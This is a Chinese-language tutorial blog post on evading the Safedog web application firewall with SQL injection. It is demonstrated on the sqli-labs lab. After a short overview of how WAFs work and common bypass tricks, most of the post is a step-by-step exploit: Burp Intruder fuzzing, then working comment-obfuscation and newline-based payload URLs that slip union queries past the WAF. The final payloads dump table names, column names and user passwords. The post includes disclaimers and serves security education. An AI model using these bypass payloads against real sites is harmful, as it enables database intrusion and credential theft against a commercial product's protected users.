SQL注入绕过安全狗的waf防火墙，这一篇就够了，8k文案超详细

安全狗WAF绕过系列

一、WAF概述

WAF（Web应用防火墙）作为一种专为Web应用程序设计的安全防护工具，其核心功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略，来增强Web应用的安全性。WAF内置了精心设计的检测逻辑与规则集，这些规则旨在对每一个进入系统的请求内容进行细致审查，并对任何违反安全策略的请求采取即时且有效的防御措施，从而维护Web应用环境的纯净与安全。

二、WAF工作机制详解

WAF的工作流程精心构建，涵盖四个关键环节：预处理、规则匹配、响应处理以及日志记录，共同编织成一张紧密的安全防护网。

1. 「预处理阶段」：此阶段，WAF首先担任起“守门人”的角色，对所有进入的数据请求流量进行初步筛选，确认其是否遵循HTTP/HTTPS协议标准。紧接着，WAF会利用预设的白名单机制，快速识别并放行那些已知安全或信任的URL请求，直接引导它们进入后端Web服务器进行处理。对于未能通过白名单验证的请求，WAF则进一步深入，对其数据包进行精细解析，为后续的安全检测做准备。

2. 「规则匹配阶段」：此为核心环节，WAF利用其内置的强大规则引擎，对经过解析的数据包进行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式，包括但不限于SQL注入、跨站脚本（XSS）、命令注入等常见Web安全威胁。通过这一过程，WAF能够精准识别出潜在的恶意请求，为后续的安全响应奠定坚实基础。

3. 「响应处理阶段」：基于规则匹配的结果，WAF的响应处理模块将采取针对性的防御措施。对于符合安全规则的请求，WAF会毫无阻碍地将其转发至后端Web服务器，确保用户请求得到及时响应。而对于那些被判定为恶意或异常的请求，WAF则展现出其防御实力，通过阻断请求、记录日志或触发告警等多种方式，有效遏制潜在的安全风险，保护Web应用免受侵害。

三、常见的waf绕过姿势

常见的WAF（Web应用防火墙）绕过姿势包括但不限于以下几种：

1. 「提交方式变换」：许多WAF默认配置下主要对GET请求进行过滤，而忽略POST请求、Cookie、HTTP头等其他提交方式。因此，可以尝试将攻击载荷通过不同的提交方式进行发送，以绕过WAF的检测。

2. 「大小写替换和编码绕过」：利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷，通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码，以绕过WAF的过滤规则。

3. 「事件函数变换」：WAF会重点识别触发JavaScript代码执行的事件函数字段，如onclick。通过变换事件函数名称或利用其他不常见的事件函数，可以尝试绕过WAF的识别。

4. 「注释符和内联注释」：使用SQL注释符（如--、#）或HTML/JavaScript注释（如、//）来绕过WAF对特定关键字的过滤。有时，将攻击载荷与注释符结合使用，可以欺骗WAF使其忽略部分攻击载荷。

5. 「分片传输」：通过调整HTTP请求中的Content-Length头部，将攻击载荷分成多个部分发送，可能导致WAF无法完整解析请求内容，从而绕过检测。

6. 「利用WAF软肋」：WAF在部署时可能因性能考虑而留下一些软肋，如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为，可能发现并利用这些软肋进行绕过。

7. 「爬虫白名单绕过」：部分WAF提供爬虫白名单功能，通过伪装成爬虫（修改User-Agent或模拟爬虫行为）可能绕过WAF的检测。

8. 「高并发流量攻击」：通过发送大量垃圾数据或高并发请求，使WAF设备进入Bypass IPS模式或达到性能极限，从而暂时或永久性地绕过WAF的防护。

请注意，上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为，可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前，请确保已获得合法授权。

四、安全狗绕过姿势

环境：phpstudy—apache2.4.39

安全狗官网v4.0下载（应该是最新版）：https://www.safedog.cn/website_safedog.html

在开始之前，如果没有sql注入基础的的童鞋，还请观看我的另外一篇文章，1w字超详细解析。

以下内容皆使用sqli第一关进行测试

image-20240716111521447

测试 id=1' and 1=1

http://192.168.209.131/Less-1/?id=-1' and 1=1

image-20240715165511624

在之前的尝试中，我们发现直接使用“and 1=1”这种方法似乎并不奏效，这很可能是因为安全狗系统识别并过滤了“and”这个词。为了更深入地了解安全狗是如何识别并拦截这类操作的，我们可以尝试将“and 1=1”进行拆分

http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+
http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+

发现两个页面均返回SQL语法错误，这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是识别到‘and’后紧跟空格和字符的模式。为了验证这一点，我决定进行实验。

http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+
http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+

实验结果，证实了确实是and+空格+字符串的格式会被拦截。

这里我们就可以开始尝试利用「注释符」、「回车符%0a」等来代替空格进行绕过了！！

在此输入：

http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+

发现依旧不行，打开burp suite，拦截下我们阻截的包，添加$payload到我们测试的「注释符」中然后点击发送到「intruder」模块，选择如下：

image-20240715170533486

然后，点击pyload，选择「暴力破解」（Brute forcer）：

image-20240715170457261

attack，开始攻击，安全狗有流量攻击的防御，后面可能会被拦截，解决办法直接「重启」apache服务器。好了这里测试完成了，点击length更改默认排序，我们拿每个请求成功payload（检查response即可查看是否成功，如果用户名正常显示，说明该字符payload安全狗没有进行拦截）。

image-20240715170405683

我们随便娶一个/!*得到payload和注释符拼接/*/!**/，这个时候and和后面的1=1之间用这个拼接的符号进行连接即可

http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+

可以绕过了

image-20240715170823637

order by测试，我们用之前的测试结果，利用/*/!**/这一个充当空格，测试「order by 3」，然后看看能否成功？

http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+

image-20240715172306698

完美，接下来测试联合注入。普通测试union select：

http://192.168.209.131/Less-1/?id=1' union select --+

image-20240715172414774

union关键字测试，有回显

http://192.168.209.131/Less-1/?id=1' union --+

image-20240715172507322

select关键字测试，有回显

http://192.168.209.131/Less-1/?id=1' select --+

image-20240715172540647

已知安全狗WAF对联合注入的拦截规则是识别到union select字符串。为了探索是否能利用注释符绕过这一规则，我决定采用与之前相同的方法，利用Burp进行抓包，并加强「fuzz测试」中的参数进行暴力破解尝试。

image-20240715205818846

随便选择几个1002长度的响应结果

image-20240715205744548

这里我们选择payload，取/!*!/，构造注释符+payload，为/*/!*!/*/，插入union和select之间，绕过成功

http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+

image-20240715210114937

这里还有一个思路，可以利用--+%0a这种格式通过换行继续执行，这里我们试一下看看：

❝

Tips：我的另一篇sql注入文章有写过%0a的作用，后台回复【sql注入】【sql】等关键字即可查看

❞

http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+
相当于在普通sql语句中的
http://192.168.5.64/Less-1/?id=-1' union/*!--+/*
select 1,database(),3*/ --+

image-20240715211304899

尝试报数据库

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+

发现database()被拦截了

image-20240715211803058

我们把database的()给去掉

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+

报错，此时就可以确定，安全狗应该是将database()进行检测

image-20240715212006918

然后我们继续使用注释符或者内联注释符看看吧：

继续采用burp的「fuzz测试」：添加上变量

image-20240715213751892

扫出来4个/可以用，最简单的

image-20240715213840696

和之前一样，就不强调了，取注释符+payload，构造payload

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),3 --+

image-20240715214011786

成功了！接下来一个一个关键词测试，group_concat()

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) --+

image-20240715214342969

没有拦截，继续from

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from --+

image-20240715214416033

informtion_schema.tables，结果就不行了

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from informtion_schema.tables --+

image-20240715215224759

测试%0a

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from /*!-- /*
information_schema.tables*/

image-20240716093748206

测试查当前数据库的表名，前面已经测试过database()了

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(table_name) from /*!-- /*
information_schema.tables*/where table_schema=database/**/() --+

image-20240716093930467

爆字段，测试到and，table_name都没拦截

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20and%20table_name%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
information_schema.tables*/where table_schema=database/**/() and table_name --+

image-20240716095210635

直到table_name后面加了个=

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/**/()%20and%20table_name=%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
information_schema.tables*/where table_schema=database/**/() and table_name= --+

image-20240716095144657

那么开始「fuzz测试」爆破

image-20240716103253642

随便娶一个payload和注释符进行拼接，如下

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/**/()%20and%20table_name/*/***/=%22users%22%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
information_schema.columns*/where table_schema=database/**/() and table_name/*/***/="users" --+

image-20240716103446751

回车%0a的绕过方式

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/**/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(column_name) from /*!-- /*
information_schema.columns*/where table_schema=database/**/() and /*!-- /*
table_name*/="users" --+

image-20240716103752507

爆数据，已知表名为users，字段为id,username,password，并设置每个字段的分隔符为-，separator '-'

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/**/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/**/(),group_concat(id,username,password separator '-') from /*!-- /*
users*/ --+

image-20240716104419572

总结

通过本文的详细解析和实验，我们深入了解了SQL注入攻击的基本原理及其在实际应用中的变种和绕过技巧。在面对如安全狗这样的WAF防护时，攻击者并非束手无策，而是可以通过多种方式绕过检测规则，成功实施SQL注入攻击。

本文首先通过基础的SQL注入测试，验证了安全狗WAF对“and 1=1”等简单SQL注入模式的识别能力。随后，通过拆分和注释符的使用，我们发现WAF可能是通过识别特定模式（如“and”后紧跟空格和字符）来拦截SQL注入的。基于此发现，我们进一步尝试利用注释符、换行符等技术手段绕过WAF的检测，成功实施了更复杂的SQL注入攻击，包括联合查询注入，获取数据库表名、列名以及具体数据等。

通过本文的学习，我们不仅能够加深对SQL注入攻击的理解，还能够掌握一些实用的绕过WAF防护的技巧。然而，需要强调的是，这些技巧仅用于合法的安全测试和教育目的，「任何未经授权的SQL注入攻击都是非法的」，并可能带来严重的法律后果。因此，我们呼吁广大开发人员和安全从业者，应持续关注和提升Web应用的安全性，共同维护网络空间的安全与稳定。

❝

「免责声明」：本渗透教程仅供安全研究与教育目的使用。任何未经授权的网络活动均属非法。读者应确保拥有合法权限，并对自己的行为负责。教程内容不保证绝对安全或成功，使用风险自负。

❞

原文：SQL注入绕过某狗的waf防火墙，这一篇就够了，6k文案超详细